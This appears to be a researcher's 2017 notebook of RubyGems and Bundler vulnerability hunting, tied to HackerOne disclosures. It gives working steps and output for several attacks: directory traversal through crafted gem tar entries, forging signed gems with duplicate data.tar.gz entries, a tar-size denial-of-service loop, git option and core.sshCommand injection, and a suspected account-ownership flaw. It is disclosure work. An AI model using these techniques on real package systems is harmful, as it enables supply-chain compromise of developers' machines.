What's the point? replace-rackup.gem can also be easily done just by setting s.name = 'rack' s.version = '100.0.0' s.executables << 'rackup' in some other gem; install the gem and it points to the new executable. Not really different than tricking someone into installing a fake rack-100.0.0.gem. But "gem install replace-rackup.gem" got treated seriously: https://hackerone.com/reports/243156 Seems the "gem install" runs any arbitrary code (extconf.rb) as root anyway. Why even bother with malicious tricks? https://bugs.ruby-lang.org/issues/1800 https://yorickpeterse.com/articles/hacking-extconf-rb/ Bug is in install_location function in lib/rubygems/package.rb. Calls File.expand_path on destination_dir and destination, then checks to see that destination.start_with? destination_dir. But that's not really a subdirectory check; for example you can have destination_dir = "/home/user/gems/abcd" destination = "/home/user/gems/abcdefgh/foobar" and the test will pass. The check should put a slash at the end of destination_dir before doing the start_with? check. /rack-2.0.3 /rack-2.0.30/bin/rackup Can just trash other directories by putting ../rack-XXX directory entries in data.tar.gz (gem will rm_rf and then mkdir). Can only overwrite directory names containing '-' because the full_name function in lib/rubygems/basic_specification.rb only makes names of the form "#{name}-#{version}" or "#{name}-#{version}-#{platform}". How to run the rubygems install_location tests: ruby -I"lib:test" test/rubygems/test_gem_package.rb First I had to do this to get an older version of the minitest gem: gem install --version '~> 4.0' --user-install minitest GEM_HOME=$PWD/install gem list gem install --install-dir install/ rails rails-i18n rails-letsencrypt rails-html-sanitizer gem install --install-dir install/ work/ra.gem If you want to surgically replace a file in a different gem, you have to make sure that the tar file does not contain directory entries for the parent directories of the file. Otherwise, those directory entries will wipe out the entire directory before recreating it again. GNU tar has the -P option that allows you to set paths starting with "../", but it doesn't seem to have an option to avoid creating the directory entries: $ tar tf work/data.tar.gz 2>/dev/null README ../rails-letsencrypt-0.5.3/ ../rails-i18n-5.0.4/ ../rails-i18n-5.0.4/lib/ ../rails-i18n-5.0.4/lib/rails-i18n.rb ../rails-html-sanitizer-100.0.0/ ../rails-html-sanitizer-100.0.0/lib/ ../rails-html-sanitizer-100.0.0/lib/rails-html-sanitizer.rb So instead of using GNU tar, use the Python tarfile module (make-gem.py). Setting name="rails" and version="", i.e., name: rails version: !ruby/object:Gem::Version version: '' allows you to overwrite any directory beginning with "rails-" e.g. rails-html-sanitizer-1.0.3, rails-letsencrypt-0.5.3, rails-i18n-5.0.4. But then later when running ruby or irb, it crashes because of the invalid version number. $ gem install --install-dir install/ work/ra.gem Successfully installed rails- 1 gem installed $ GEM_HOME=$PWD/install irb /usr/lib/ruby/2.3.0/rubygems/version.rb:207:in `initialize': Malformed version number string ruby (ArgumentError) from /usr/lib/ruby/2.3.0/rubygems/version.rb:199:in `new' from /usr/lib/ruby/2.3.0/rubygems/version.rb:199:in `new' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:42:in `initialize' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:124:in `new' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:124:in `block in data' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:113:in `open' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:113:in `data' from /usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:204:in `valid?' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:749:in `select' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:749:in `gemspec_stubs_in' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:774:in `block in map_stubs' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:771:in `each' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:771:in `flat_map' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:771:in `map_stubs' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:763:in `installed_stubs' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:831:in `stubs' from /usr/lib/ruby/2.3.0/rubygems/specification.rb:1036:in `find_by_path' from /usr/lib/ruby/2.3.0/rubygems.rb:189:in `try_activate' from /usr/lib/ruby/2.3.0/irb/locale.rb:150:in `block in search_file' from /usr/lib/ruby/2.3.0/irb/locale.rb:158:in `block in each_localized_path' from /usr/lib/ruby/2.3.0/irb/locale.rb:167:in `each_sublocale' from /usr/lib/ruby/2.3.0/irb/locale.rb:157:in `each_localized_path' from /usr/lib/ruby/2.3.0/irb/locale.rb:145:in `search_file' from /usr/lib/ruby/2.3.0/irb/locale.rb:124:in `find' from /usr/lib/ruby/2.3.0/irb/locale.rb:108:in `load' from /usr/lib/ruby/2.3.0/irb/locale.rb:32:in `initialize' from /usr/lib/ruby/2.3.0/irb/init.rb:113:in `new' from /usr/lib/ruby/2.3.0/irb/init.rb:113:in `init_config' from /usr/lib/ruby/2.3.0/irb/init.rb:17:in `setup' from /usr/lib/ruby/2.3.0/irb.rb:378:in `start' from /usr/bin/irb:11:in `
' This error "Malformed version number string ruby" actually occurs because of a misparsing of the stub line in the rails-.gemspec file: # stub: rails ruby lib Oh, but that error goes away later :) https://github.com/rubygems/rubygems/commit/616d5e2e30104a615f395045b90d5b2c1279d410 log: looked at fix for CVE-2017-0902 (DNS request hijack), fix seemed pretty solid, unless there are weird bugs in URI parsing (did find that it accepts port numbers >65535; e.g. http://example.com:65616/ will actually take you to http://example.com:80/.) Tried a trick of putting two files in data.tar.gz with the same name, the first a symlink to e.g. /etc/passwd and the second with the contents to store in the file. Doesn't work because extract_tar_gz does "FileUtils.rm_rf destination" before copying each new file, so the symlink gets deleted. Then found that the install_location that's supposed to ensure that files aren't installed outside the install directory doesn't quite work. Tried making a gem with name="rails" and version="": when installed, it can overwrite any other gem starting with "rails-". But then running ruby or irb thereafter, it raises an error because of the invalid version name, so not as good as it might be. Later realized that even if writing through a file symlink doesn't work, writing through a directory symlink does. install_location calls File.expand_path, which collapses .. but doesn't follow links like File.realpath does. Might be a YAML deserialization problem in the specification files too. Might be git shell command injection problems. "gem install" seems to promiscuously inspect *.gem files in the current directory; I had ra.gem (with name="rails") in the directory, and "gem install rails" installed from it, not remote. Tried doing directory traversal in version, rather than name; doesn't work: $ ./other-gem.py > other.gem $ gem install --install-dir install/ other.gem ERROR: While executing gem ... (ArgumentError) Malformed version number string ../../../../../../../tmp sudo apt-get install rbenv ruby-build rbenv install 2.4.1 rbenv global 2.4.1 report_id=270068 report_id=270072 2017-09-23 lib/rubygems/remote_fetcher.rb api_endpoint has another bug if target contains character that end the path, like '?' or '#', then uri.path and anything after it won't be in the path. def api_endpoint(uri) host = uri.host begin res = @dns.getresource "_rubygems._tcp.#{host}", Resolv::DNS::Resource::IN::SRV rescue Resolv::ResolvError => e verbose "Getting SRV record failed: #{e}" uri else target = res.target.to_s.strip if URI("http://" + target).host.end_with?(".#{host}") return URI.parse "#{uri.scheme}://#{target}#{uri.path}" end uri end end Imagine if target="api.rubygems.org/api/v1/gems/evil.json?" then the function returns https://api.rubygems.org/api/v1/gems/evil.json?" Elsewhere, the value returned by api_endpoint is modified by simple concatenation, so whatever is added is also ignored. Never mind, operator + is an alias for URI::Generic::merge. irb(main):001:0> require 'uri' => true irb(main):002:0> URI("http://foobar.com/abc") => # irb(main):003:0> URI("http://foobar.com/abc") + "/def" => # 2017-10-05 Signatures seem broken. tar files can contain multiple entries with the same name. data.tar.gz uses first verifies last checksums.yaml.gz uses first verifies last metadata.gz uses last verifies last When unpacking, gem uses the first data.tar.gz entry. When computing digests to verify the signatures, gem uses the last data.tar.gz entry. So we can lift the signature off a valid signed gem and replace data.tar.gz with our code. We can also replace checksums.yaml.gz (or just remove it from the original gem). extract_files stops at the first data.tar.gz ("ignore further entries"): def extract_files destination_dir, pattern = "*" ... @gem.with_read_io do |io| reader = Gem::Package::TarReader.new io reader.each do |entry| next unless entry.full_name == 'data.tar.gz' extract_tar_gz entry, destination_dir, pattern return # ignore further entries end end end read_checksums does Gem::Package::TarReader.seek to the first checksums.yaml.gz: def read_checksums gem Gem.load_yaml @checksums = gem.seek 'checksums.yaml.gz' do |entry| Zlib::GzipReader.wrap entry do |gz_io| YAML.load gz_io.read end end end verify_entry iterates over all entries, overwriting previous results, including for .sig files and metadata.gz (side effect is filling in the @signatures and @digests hashes): def verify_entry entry file_name = entry.full_name @files << file_name case file_name when /\.sig$/ then @signatures[$`] = entry.read if @security_policy return else digest entry end case file_name when /^metadata(.gz)?$/ then load_spec entry when 'data.tar.gz' then verify_gz entry end ... end Hard to actually find a signed gem, even ones you would expect like gpgme. http://blog.meldium.com/home/2013/3/3/signed-rubygems-part minitest is signed. $ gem fetch minitest Downloaded minitest-5.10.3 $ tar tf minitest-5.10.3.gem metadata.gz metadata.gz.sig data.tar.gz data.tar.gz.sig checksums.yaml.gz checksums.yaml.gz.sig Ha ha, expired a few days ago though: $ gem install --install-dir install -P HighSecurity minitest-5.10.3.gem ERROR: While executing gem ... (Gem::Security::Exception) certificate /CN=ryand-ruby/DC=zenspider/DC=com not valid after 2017-09-26 01:57:35 UTC Try again with multi_json: $ gem fetch multi_json Fetching: multi_json-1.12.2.gem (100%) Downloaded multi_json-1.12.2 $ tar tf multi_json-1.12.2.gem metadata.gz metadata.gz.sig data.tar.gz data.tar.gz.sig checksums.yaml.gz checksums.yaml.gz.sig $ gem install --install-dir install -P HighSecurity multi_json-1.12.2.gem ERROR: While executing gem ... (Gem::Security::Exception) root cert /CN=pavel/DC=pravosud/DC=com is not trusted Import the certificate: $ gem cert --add <(curl -Ls https://gist.github.com/sferik/4701180/raw/public_cert.pem) Added '/CN=sferik/DC=gmail/DC=com' (NB: looks like anyone can sign any gem, once their certificate is trusted!) (Also NB, because each file is signed individually, you can mix and match files from different (versions of) gems.) RubyGems trust model, https://github.com/rubygems-trust/rubygems.org/wiki/Overview https://goo.gl/ybFIO "gem cert" writes a file into ~/.gem/trust: $ openssl x509 -noout -text -in ~/.gem/trust/cert-f0d28c2182430599ebb06b92b03b7f32b98891e7.pem Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: sha1WithRSAEncryption Issuer: CN = sferik, DC = gmail, DC = com ... Oh, seems that's not the right certificate anymore. It was sferik@gmail.com, but now is apparently pavel@pravosud.com. $ gem install --install-dir install -P HighSecurity multi_json-1.12.2.gem ERROR: While executing gem ... (Gem::Security::Exception) root cert /CN=pavel/DC=pravosud/DC=com is not trusted "Pavel Pravosud" is listed as an author at https://rubygems.org/gems/multi_json/versions/1.12.2. But I have no idea where to download the cert. I guess this is it: $ gem cert --add <(curl -Ls https://raw.githubusercontent.com/intridea/multi_json/master/certs/rwz.pem) Added '/CN=pavel/DC=pravosud/DC=com' Now it installs. $ gem install --install-dir install -P HighSecurity multi_json-1.12.2.gem Successfully installed multi_json-1.12.2 1 gem installed Try an obvious bad forgery, replacing only data.tar.gz (bad checksums and sig). $ mkdir -p orig mine $ tar -C orig -xf multi_json-1.12.2.gem $ echo evil > README.md $ tar czf mine/data.tar.gz README.md $ tar cvf test1.gem --transform 's#.*/##' orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz.sig orig/checksums.yaml.gz orig/checksums.yaml.gz.sig orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz.sig orig/checksums.yaml.gz orig/checksums.yaml.gz.sig $ gem install --install-dir install -P HighSecurity test1.gem ERROR: While executing gem ... (Gem::Package::FormatError) SHA1 checksum mismatch for data.tar.gz in /home/david/rubygems-bug/test1.gem Now try repairing the checksums, leaving a bad sig: $ sha1sum mine/data.tar.gz d90dace7697759a28c80e661dca04384187beb38 mine/data.tar.gz $ sha512sum mine/data.tar.gz fb9180118ac74f77cba9b79fa01308957e8aae58d3846e7d0c7809c248b7723f173bbdb8041d2f3a2889c1988b7a9b267f1b087a6e195c6c325c778008708f66 mine/data.tar.gz $ cp orig/checksums.yaml.gz mine/ $ vi mine/checksums.yaml.gz # replace checksums of data.tar.gz $ tar cvf test2.gem --transform 's#.*/##' orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz.sig mine/checksums.yaml.gz orig/checksums.yaml.gz.sig orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz.sig mine/checksums.yaml.gz orig/checksums.yaml.gz.sig $ gem install --install-dir install -P HighSecurity test2.gem ERROR: While executing gem ... (Gem::Package::FormatError) SHA1 checksum mismatch for data.tar.gz in test1.gem Wait, wtf, why is it saying "test1.gem" when I tried to install test2.gem?!? Same if I copy it to "abc.gem" or use "./test2.gem". It must be trying to process all the .gem files in the directory, or something. Investigate more later. Meantime, hide the test1.gem. $ mkdir hide $ mv test1.gem hide $ gem install --install-dir install -P HighSecurity test2.gem Successfully installed multi_json-1.12.2 1 gem installed Installs successfully?!? But I didn't even change the sigs! $ tar tvf test2.gem -r--r--r-- david/david 1840 2017-09-04 21:51 metadata.gz -r--r--r-- david/david 256 2017-09-04 21:51 metadata.gz.sig -rw-r--r-- david/david 135 2017-10-05 09:43 data.tar.gz -r--r--r-- david/david 256 2017-09-04 21:51 data.tar.gz.sig -r--r--r-- david/david 284 2017-10-05 09:52 checksums.yaml.gz -r--r--r-- david/david 256 2017-09-04 21:51 checksums.yaml.gz.sig $ tar tvf multi_json-1.12.2.gem -r--r--r-- wheel/wheel 1840 2017-09-04 21:51 metadata.gz -r--r--r-- wheel/wheel 256 2017-09-04 21:51 metadata.gz.sig -r--r--r-- wheel/wheel 16908 2017-09-04 21:51 data.tar.gz -r--r--r-- wheel/wheel 256 2017-09-04 21:51 data.tar.gz.sig -r--r--r-- wheel/wheel 270 2017-09-04 21:51 checksums.yaml.gz -r--r--r-- wheel/wheel 256 2017-09-04 21:51 checksums.yaml.gz.sig Installed version doesn't have my evil README.md, hmm. $ head install/gems/multi_json-1.12.2/README.md # MultiJSON [![Gem Version](http://img.shields.io/gem/v/multi_json.svg)][gem] [![Build Status](http://travis-ci.org/intridea/multi_json.svg)][travis] [![Dependency Status](http://img.shields.io/gemnasium/intridea/multi_json.svg)][gemnasium] [![Code Climate](http://img.shields.io/codeclimate/github/intridea/multi_json.svg)][codeclimate] [gem]: https://rubygems.org/gems/multi_json [travis]: http://travis-ci.org/intridea/multi_json [gemnasium]: https://gemnasium.com/intridea/multi_json wtf, I have to hide the original multi_json gem. Probably another bug here. Maybe it's confused by identical metadata. $ mv multi_json-1.12.2.gem hide/ $ gem install --install-dir install -P HighSecurity test2.gem ERROR: While executing gem ... (Gem::Security::Exception) invalid signature Now let's make a test with multiple copies, leading to good checksums and good sigs. Hide test2.gem first to avoid confusion. $ mv test2.gem hide/ $ tar cvf test3.gem --transform 's#.*/##' orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig mine/checksums.yaml.gz orig/checksums.yaml.gz orig/checksums.yaml.gz.sig orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig mine/checksums.yaml.gz orig/checksums.yaml.gz orig/checksums.yaml.gz.sig Didn't work: $ gem install --install-dir install -P HighSecurity test3.gem ERROR: While executing gem ... (Gem::Package::FormatError) SHA1 checksum mismatch for data.tar.gz in /home/david/rubygems-bug/test3.gem Oh, need to use only the original checksums instead: $ mv test3.gem hide/ $ tar cvf test4.gem --transform 's#.*/##' orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig orig/checksums.yaml.gz orig/checksums.yaml.gz.sig orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig orig/checksums.yaml.gz orig/checksums.yaml.gz.sig $ gem install --install-dir install -P HighSecurity test4.gem Successfully installed multi_json-1.12.2 1 gem installed $ head install/gems/multi_json-1.12.2/README.md evil Eureka. Same thing works without checksums: $ mv test4.gem hide/ $ tar cvf test5.gem --transform 's#.*/##' orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig orig/metadata.gz orig/metadata.gz.sig mine/data.tar.gz orig/data.tar.gz orig/data.tar.gz.sig $ gem install --install-dir install -P HighSecurity test5.gem Successfully installed multi_json-1.12.2 1 gem installed A final check, that merely stripping signatures doesn't work on HighSecurity: $ tar cvf test6.gem --transform 's#.*/##' orig/metadata.gz mine/data.tar.gz mine/checksums.yaml.gz orig/metadata.gz mine/data.tar.gz mine/checksums.yaml.gz $ gem install --install-dir install -P HighSecurity test6.gem ERROR: While executing gem ... (Gem::Security::Exception) unsigned gems are not allowed by the High Security policy https://hackerone.com/reports/274267 https://hackerone.com/reports/275269 2017-10-19 tar_entry allows negatives in octal values just calls "oct" to decode things like entry.size maybe can be set up to create a loop for DoS pretty easy, tar header is 500 bytes, create an entry with size -512, seeks back to the beginning and the following seek to a multiple of 512 bytes is a no-op. For some reason need to pad the end of the file to 512 bytes or more, in order to avoid the @io.eof? check in reader.each. $ tar tf loop.gem tar: This does not look like a tar archive tar: Skipping to next header tar: Exiting with failure status due to previous errors $ ruby -I lib ./bin/gem specification loop.gem $ ruby -I lib:test ./test/rubygems/test_gem_package_tar_header.rb 2017-10-21 Command option injection $ echo "gem 'rack', :git => '--help'" > Gemfile $ bundler install Fetching --help error: unknown option `bare' usage: git help [--all] [--guides] [--man | --web | --info] [] -a, --all print all available commands -g, --guides print list of useful guides -m, --man show man page -w, --web show manual in web browser -i, --info show info page Retrying `git clone '--help' "/home/david/.bundle/cache/git/--help-9a8265a5ba2c33881e2717e7581df323a5188174" --bare --no-hardlinks --quiet` due to error (2/4): Bundler::Source::Git::GitCommandError Git error: command `git clone '--help' "/home/david/.bundle/cache/git/--help-9a8265a5ba2c33881e2717e7581df323a5188174" --bare --no-hardlinks --quiet` in directory /home/david/rubygems-bug/git has failed.error: unknown option `bare' 2017-10-30 Probably decompression bomb vulnerability lib/rubygems/package/old.rb: file_data = file_data.strip.unpack("m")[0] file_data = Zlib::Inflate.inflate file_data 2017-11-01 Might be problems in the rubygems.org API. E.g. http://guides.rubygems.org/rubygems-org-api/#owner-methods Seems to check ownership by comparing username *or* email. Make an account with the same email as someone else → profit? Can vary letter case to work around email uniqueness if required. app/controllers/api/v1/owners_controller.rb def verify_gem_ownership return if current_user.rubygems.find_by_name(params[:rubygem_id]) render plain: 'You do not have permission to manage this gem.', status: :unauthorized end app/models/user.rb def self.find_by_name(name) find_by(email: name) || find_by(handle: name) end def unconfirmed_email_uniqueness errors.add(:email, I18n.t('errors.messages.taken')) if unconfirmed_email_exists? end def unconfirmed_email_exists? User.where(unconfirmed_email: email).exists? end ha ha, DoSed myself with "gem push bomb-10000000000.gem" "gem push" does Gem::Package.new which parses the spec 2017-11-29 git clone -ccore.sshCommand=date 'ssh://localhost/foo' Cloning into 'foo'... /bin/date: extra operand ‘git-upload-pack '/foo'’ Try '/bin/date --help' for more information. fatal: Could not read from remote repository.